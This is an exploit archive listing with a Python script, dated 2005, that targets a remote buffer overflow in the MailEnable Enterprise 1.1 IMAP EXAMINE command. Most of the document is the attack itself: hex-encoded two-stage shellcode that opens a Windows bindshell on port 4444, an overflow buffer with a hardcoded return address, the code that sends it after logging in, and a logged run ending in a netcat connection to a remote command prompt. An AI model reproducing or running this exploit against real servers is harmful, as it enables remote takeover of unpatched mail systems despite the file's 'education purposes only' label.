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mailenable-imap-examine.py.txt

mailenable-imap-examine.py.txt
Posted Dec 28, 2005
Authored by Mati Aharoni

Python exploit for a remote buffer overflow that exists in the MailEnable Enterprise 1.1 IMAP EXAMINE command. This vulnerability affects MailEnable Enterprise 1.1 without the ME-10009.EXE patch.

tags | exploit, remote, overflow, imap, python
SHA-256 | 2aa22f6b90d94adeab514c49934be2084dd51651d81239a49cd2c99a68e85f55

mailenable-imap-examine.py.txt

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#!/usr/bin/python
############################################################
#
# Remote Mailenable Enterprise 1.1 EXAMINE buffer Overflow
# Discovered and exploited by mati@see-security.com
# This vulnerability affects Mailenable Enterprise 1.1
# *without* the ME-10009.EXE patch.
#
# Details:
# * SEH gets overwritten at 965 (968 in VMWare) bytes in the EXAMINE command.
# * Filtering of 0x00 0x0a 0x0d 0x20 0x22
# * No space for shellcode, so 1st stage shellcode is used to
# jump back 512 bytes into the bindshell (2nd stage) shellcode.
#
# Thanks:
# * My wife - for putting up with my obesssions
# * Talz - for helping me out with the 1st stage shellcode
#
# FOR EDUCATION PURPOSES ONLY!
############################################################
# 1st stage shellcode:
############################################################
# [BITS 32]
#
# global _start
#
# _start:
#
# ;--- Taken from phrack #62 Article 7 Originally written by Aaron Adams
#
# ;--- copy eip into ecx
# fldz
# fnstenv [esp-12]
# pop ecx
# add cl, 10
# nop
# ;----------------------------------------------------------------------
# dec ch ; ecx=-256;
# dec ch ; ecx=-256;
# jmp ecx ; lets jmp ecx (current location - 512)
############################################################
# root@muts:/tmp# ./final.py 192.168.1.160 143 ftp ftp
#
# MailEnable Enterprise 1.1 IMAP EXAMINE Overflow - Pre ME-10009.EXE Patch.
# Discovered / Coded by mati@see-security.com
#
# [+] Connecting to 192.168.1.160
# [+] * OK IMAP4rev1 server ready at 12/19/05 15:29:06
# [+] Logging in as ftp
# [+] a001 OK LOGIN completed
# [+] Sending evil buffer...
# [+] Done
#
# [+] Try connecting to port 4444 on victim IP - Muhahaha!
#
# root@slax:/tmp# nc -nv 192.168.1.160 4444
# (UNKNOWN) [192.168.1.160] 4444 (krb524) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>
#####################################################

import sys
import struct
import socket
from time import sleep

if len(sys.argv)!=5:
print "\nMailEnable Enterprise 1.1 IMAP EXAMINE Overflow - Pre ME-10009 Patch."
print "\nDiscovered / Coded by mati@see-security.com\n"
print "Usage: %s <ip> <port> <user> <pass>\n" %sys.argv[0]
sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Return Address - Win2k SP4 jmp ebx
returnaddress = "\x66\x4a\x4e\x7c"

# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
# First Stage Shellcode

sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"

# win32_bind - EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
# Second Stage Shellcode

sc2 = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
sc2 +="\xa8\xc8\x2a\x83\xeb\xfc\xe2\xf4\x06\xc2\x23\x67\x12\x51\x37\xd5"
sc2 +="\x05\xc8\x43\x46\xde\x8c\x43\x6f\xc6\x23\xb4\x2f\x82\xa9\x27\xa1"
sc2 +="\xb5\xb0\x43\x75\xda\xa9\x23\x63\x71\x9c\x43\x2b\x14\x99\x08\xb3"
sc2 +="\x56\x2c\x08\x5e\xfd\x69\x02\x27\xfb\x6a\x23\xde\xc1\xfc\xec\x02"
sc2 +="\x8f\x4d\x43\x75\xde\xa9\x23\x4c\x71\xa4\x83\xa1\xa5\xb4\xc9\xc1"
sc2 +="\xf9\x84\x43\xa3\x96\x8c\xd4\x4b\x39\x99\x13\x4e\x71\xeb\xf8\xa1"
sc2 +="\xba\xa4\x43\x5a\xe6\x05\x43\x6a\xf2\xf6\xa0\xa4\xb4\xa6\x24\x7a"
sc2 +="\x05\x7e\xae\x79\x9c\xc0\xfb\x18\x92\xdf\xbb\x18\xa5\xfc\x37\xfa"
sc2 +="\x92\x63\x25\xd6\xc1\xf8\x37\xfc\xa5\x21\x2d\x4c\x7b\x45\xc0\x28"
sc2 +="\xaf\xc2\xca\xd5\x2a\xc0\x11\x23\x0f\x05\x9f\xd5\x2c\xfb\x9b\x79"
sc2 +="\xa9\xfb\x8b\x79\xb9\xfb\x37\xfa\x9c\xc0\xd9\x76\x9c\xfb\x41\xcb"
sc2 +="\x6f\xc0\x6c\x30\x8a\x6f\x9f\xd5\x2c\xc2\xd8\x7b\xaf\x57\x18\x42"
sc2 +="\x5e\x05\xe6\xc3\xad\x57\x1e\x79\xaf\x57\x18\x42\x1f\xe1\x4e\x63"
sc2 +="\xad\x57\x1e\x7a\xae\xfc\x9d\xd5\x2a\x3b\xa0\xcd\x83\x6e\xb1\x7d"
sc2 +="\x05\x7e\x9d\xd5\x2a\xce\xa2\x4e\x9c\xc0\xab\x47\x73\x4d\xa2\x7a"
sc2 +="\xa3\x81\x04\xa3\x1d\xc2\x8c\xa3\x18\x99\x08\xd9\x50\x56\x8a\x07"
sc2 +="\x04\xea\xe4\xb9\x77\xd2\xf0\x81\x51\x03\xa0\x58\x04\x1b\xde\xd5"
sc2 +="\x8f\xec\x37\xfc\xa1\xff\x9a\x7b\xab\xf9\xa2\x2b\xab\xf9\x9d\x7b"
sc2 +="\x05\x78\xa0\x87\x23\xad\x06\x79\x05\x7e\xa2\xd5\x05\x9f\x37\xfa"
sc2 +="\x71\xff\x34\xa9\x3e\xcc\x37\xfc\xa8\x57\x18\x42\x15\x66\x28\x4a"
sc2 +="\xa9\x57\x1e\xd5\x2a\xa8\xc8\x2a"

buffer = '\x90'*568 + sc2 + '\x90'*53 + returnaddress + '\xEB\x04' + '\x90'*4 + sc

print "\nMailEnable Enterprise 1.1 IMAP EXAMINE Overflow - Pre ME-10009.EXE Patch."
print "Discovered / Coded by mati@see-security.com\n"
print "[+] Connecting to " + sys.argv[1]
try:
s.connect((sys.argv[1],int(sys.argv[2])))
except:
print "Could not connect to IMAP server!"
sys.exit(0)

data=s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Logging in as %s" % sys.argv[3]
s.send('a001 LOGIN '+sys.argv[3]+' '+sys.argv[4]+'\r\n')
data = s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Sending evil buffer..."
s.send('A001 EXAMINE ' + buffer+'\r\n')
s.close()
print "[+] Done\n"
print "[+] Try connecting to port 4444 on victim IP - Muhahaha!\n"
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